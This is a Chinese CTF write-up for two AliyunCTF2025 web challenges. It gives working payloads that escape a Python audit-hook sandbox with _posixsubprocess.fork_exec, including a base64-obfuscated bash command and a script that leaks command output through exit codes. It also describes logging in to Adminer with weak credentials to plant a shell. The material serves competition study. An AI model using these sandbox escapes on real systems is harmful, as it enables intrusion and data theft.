目录

  1. 1. 前言
  2. 2. ezoj
    1. 2.1. 带出回显
  3. 3. 打卡OK(复现)
    1. 3.1. 非预期
    2. 3.2. 预期

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

AliyunCTF2025

2025/2/22 CTF线上赛
  |     |   总文章阅读量:

前言

参考:

https://blog.xmcve.com/2025/02/25/%E9%98%BF%E9%87%8C%E4%BA%91CTF2025-Writeup

https://xz.aliyun.com/news/17029


ezoj

/source 获取源码

import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path

app = Flask(__name__)

SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")

SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)

CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)


"""


class OJTimeLimitExceed(Exception):
    pass


class OJRuntimeError(Exception):
    pass


@app.route("/")
def index():
    return send_file("static/index.html")


@app.route("/source")
def source():
    return send_file("server.py")


@app.route("/api/problems")
def list_problems():
    problems_dir = PROBLEMS_PATH
    problems = []
    for problem in problems_dir.iterdir():
        problem_config_file = problem / "problem.json"
        if not problem_config_file.exists():
            continue

        problem_config = json.load(problem_config_file.open("r"))
        problem = {
            "problem_id": problem.name,
            "name": problem_config["name"],
            "description": problem_config["description"],
        }
        problems.append(problem)

    problems = sorted(problems, key=lambda x: x["problem_id"])

    problems = {"problems": problems}
    return jsonify(problems), 200


@app.route("/api/submit", methods=["POST"])
def submit_code():
    try:
        data = request.get_json()
        code = data.get("code")
        problem_id = data.get("problem_id")

        if code is None or problem_id is None:
            return (
                jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
                400,
            )

        problem_id = str(int(problem_id))
        problem_dir = PROBLEMS_PATH / problem_id
        if not problem_dir.exists():
            return (
                jsonify(
                    {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
                ),
                404,
            )

        code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
        with open(code_filename, "w") as code_file:
            code = CODE_TEMPLATE + code
            code_file.write(code)

        result = judge(code_filename, problem_dir)

        code_filename.unlink()

        return jsonify(result)

    except Exception as e:
        return jsonify({"status": "ER", "message": str(e)}), 500


def judge(code_filename, problem_dir):
    test_files = sorted(problem_dir.glob("*.input"))
    total_tests = len(test_files)
    passed_tests = 0

    try:
        for test_file in test_files:
            input_file = test_file
            expected_output_file = problem_dir / f"{test_file.stem}.output"

            if not expected_output_file.exists():
                continue

            case_passed = run_code(code_filename, input_file, expected_output_file)

            if case_passed:
                passed_tests += 1

        if passed_tests == total_tests:
            return {"status": "AC", "message": f"Accepted"}
        else:
            return {
                "status": "WA",
                "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
            }
    except OJRuntimeError as e:
        return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
    except OJTimeLimitExceed:
        return {"status": "TLE", "message": "Time Limit Exceed"}


def run_code(code_filename, input_file, expected_output_file):
    with open(input_file, "r") as infile, open(
        expected_output_file, "r"
    ) as expected_output:
        expected_output_content = expected_output.read().strip()

        process = subprocess.Popen(
            ["python3", code_filename],
            stdin=infile,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )

        try:
            stdout, stderr = process.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            process.kill()
            raise OJTimeLimitExceed

        if process.returncode != 0:
            raise OJRuntimeError(process.returncode)

        if stdout.strip() == expected_output_content:
            return True
        else:
            return False


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

不出网且执行无回显,不过可以 rce 之后可以这样写whoami > ../server.py来获取回显

核心放在代码模板上:

import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)


<<OUR_CODE>>

这里的hook是白名单机制

允许 import,打 posix,参考:https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html#_posixsubprocess-%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4

import os
import _posixsubprocess
# s = input().split()
# print(int(s[0]) + int(s[1]))

_posixsubprocess.fork_exec([b"/bin/bash","-c","sleep 1"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), -1, -1, -1, None, None, None, -1, None, False)
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"","-c","{echo,ZW52ID4gLi4vc2VydmVyLnB5}|{base64,-d}|{bash,-i}"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
_posixsubprocess.fork_exec([b"/bin/bash","-c","env > server.py"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), -1, -1, -1, None, None, None, -1, None, False)

本地通了,但是远程写文件在各个目录都没反应,sleep可以正常执行

利用 A+B problem 里 output 样例有2的情况,构造一个内容为2的文件并读取来测试权限

最后发现能写文件的只有 submissions 目录和 /tmp

总不能盲注吧

import os
import _posixsubprocess

cmd='if [ `cut -c 1 /f*` = "a" ];then echo 2;fi'
_posixsubprocess.fork_exec([b"/bin/bash","-c",cmd], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), -1, -1, -1, None, None, None, -1, None, False)

返回 Wrang Answer: pass(1/10) ,那就真的盲注吧

最后以一种很丑陋的方式来注(

image-20250223024429252

得到flag:aliyunctf{8d7de2fe-77dd-4dde-9c3f-b6fbd55654d7}

带出回显

执行命令并将结果写入到退出码中

import requests

URL = "http://10.253.253.1/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys

std_pipe = os.pipe()
err_pipe = os.pipe()

_posixsubprocess.fork_exec(
    (b"/bin/bash",b"-c",b"ls /"),
    [b"/bin/bash"],
    True,
    (),
    None,
    None,
    -1,
    -1,
    -1,
    std_pipe[1], #c2pwrite
    -1,
    -1,
    *(err_pipe),
    False,
    False,
    False,
    None,
    None,
    None,
    -1,
    None,
    False,
)
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)

if {loc} < content_len:
    sys.exit(content[{loc}])
else:
    sys.exit(255)
"""

command="ls /"
received = ""

for i in range(254):
    code = CODE_TEMPLATE.format(loc=i,command=command)
    data = {"problem_id":0,"code":code}
    resp = requests.post(URL,json=data)
    resp_data = resp.json()
    assert(resp_data["status"] == "RE")
    ret_loc = resp_data["message"].find("ret=")
    ret_code = resp_data["message"][ret_loc+4:]
    if ret_code == "255":
        break
    received += chr(int(ret_code))
    print(received)

打卡OK(复现)

dirsearch扫出来/index.php~

<?php
    session_start();
    if($_SESSION['login']!=1){
        echo "<script>alert(\"Please login!\");window.location.href=\"./login.php\";</script>";
        return ;
    }
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>打卡系统</title>
    <meta name="keywords" content="HTML5 Template">
    <meta name="description" content="Forum - Responsive HTML5 Template">
    <meta name="author" content="Forum">
    <link rel="shortcut icon" href="favicon/favicon.ico">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<nav class="panel-menu" id="mobile-menu">
    <ul>

    </ul>
    <div class="mm-navbtn-names">
        <div class="mm-closebtn">
            Close
            <div class="tt-icon">
                <svg>
                  <use xlink:href="#icon-cancel"></use>
                </svg>
            </div>
        </div>
        <div class="mm-backbtn">Back</div>
    </div>
</nav>

<main id="tt-pageContent">
    <div class="container">
        <div class="tt-wrapper-inner">
            <h1 class="tt-title-border">
                补卡系统
            </h1>
            <form class="form-default form-create-topic" action="./index.php" method="POST">
                <div class="form-group">
                    <label for="inputTopicTitle">姓名</label>
                    <div class="tt-value-wrapper">
                        <input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
                    </div>
                    
                </div>

                <div class="pt-editor">
                    <h6 class="pt-title">补卡原因</h6>
                    
                    <div class="form-group">
                        <textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
                    </div>
                    
                     <div class="row">
                        <div class="col-auto ml-md-auto">
                            <button class="btn btn-secondary btn-width-lg">提交</button>
                        </div>
                    </div>
                </div>
            </form>
        </div>
       
    </div>
</main>
</body>
</html>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
    if(isset($_GET['debug_buka']))
    {
        $time=date($_GET['debug_buka']);
    }else{
        $time=date("Y-m-d H:i:s");
    }
    $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
    $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
    $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
    if (is_file($cachefile)) {
        $data=file_get_contents($cachefile);
        $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
        $check="/var/www/html/".$checkdata['background'].".php";
        include "$check";
    }else{
        include 'error.php';
    }
}
?>

首先要登录,但是字典跑了半天都没出,尝试注入也无果

这个时候突然在想会不会login.php也有和index.php一样的文件泄露,还真有

/login.php~

<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
    $username=addslashes($_POST['username']);
    $password=$_POST['password'];
    $code=$_POST['code'];
    $endpass=md5($code.$password).':'.$code;
    $sql = "select password from users where username='$username'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            if($endpass==$row['password']){
            $_SESSION['login'] = 1;
            $_SESSION['username'] = md5($username);
            echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
            }
        }
    } else {
        echo "<script>alert(\"错误\");</script>";
      die();
    }
    $conn->close();
    
}
?>

还真有,猜测其他文件也有~泄露

pass.php

<?php
class mypass{
		public function generateRandomString($length = 10) {
		    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
		    $charactersLength = strlen($characters);
		    $randomString = '';
		    
		    for ($i = 0; $i < $length; $i++) {
		        $randomString .= $characters[rand(0, $charactersLength - 1)];
		    }
		    
		    return $randomString;
		}
		public function checkpass($plain) {
			$password = $this->generateRandomString();
			$salt = substr(md5($password), 0, 5);
			$password = md5($salt . $plain) . ':' . $salt;
			return $password;
		}
}
?>

cache.php

<?php
/**
 * 
 */
class myCache
{
	public function writecache($name,$data) {
		$file = '/var/www/html/cache/' . $name . '.php';
		$cachedata = "<?php exit;//" . $data;
		file_put_contents($file,$cachedata);
		return '';
	}
}

class checkin{
	function writec($data,$name)
	{
		$wr=new myCache();
		$wr->writecache($data,$name);
	}
}
?>

那么接下来就是想办法过登录,想办法构造sql语句使其返回内容,但是没思路


非预期

?什么叫扫出来个 adminer_481.php 弱口令 root:root 登录写shell秒了

image-20250224223912252

image-20250224224123939


预期

还是要扫出来 adminer_481.php,那我字典呢?(难绷,刚写完之后今晚打渗透的时候就遇到这个 adminer.php 了)

web:web 登录数据库改前台登录密码

然后打反序列化逃逸和pearcmd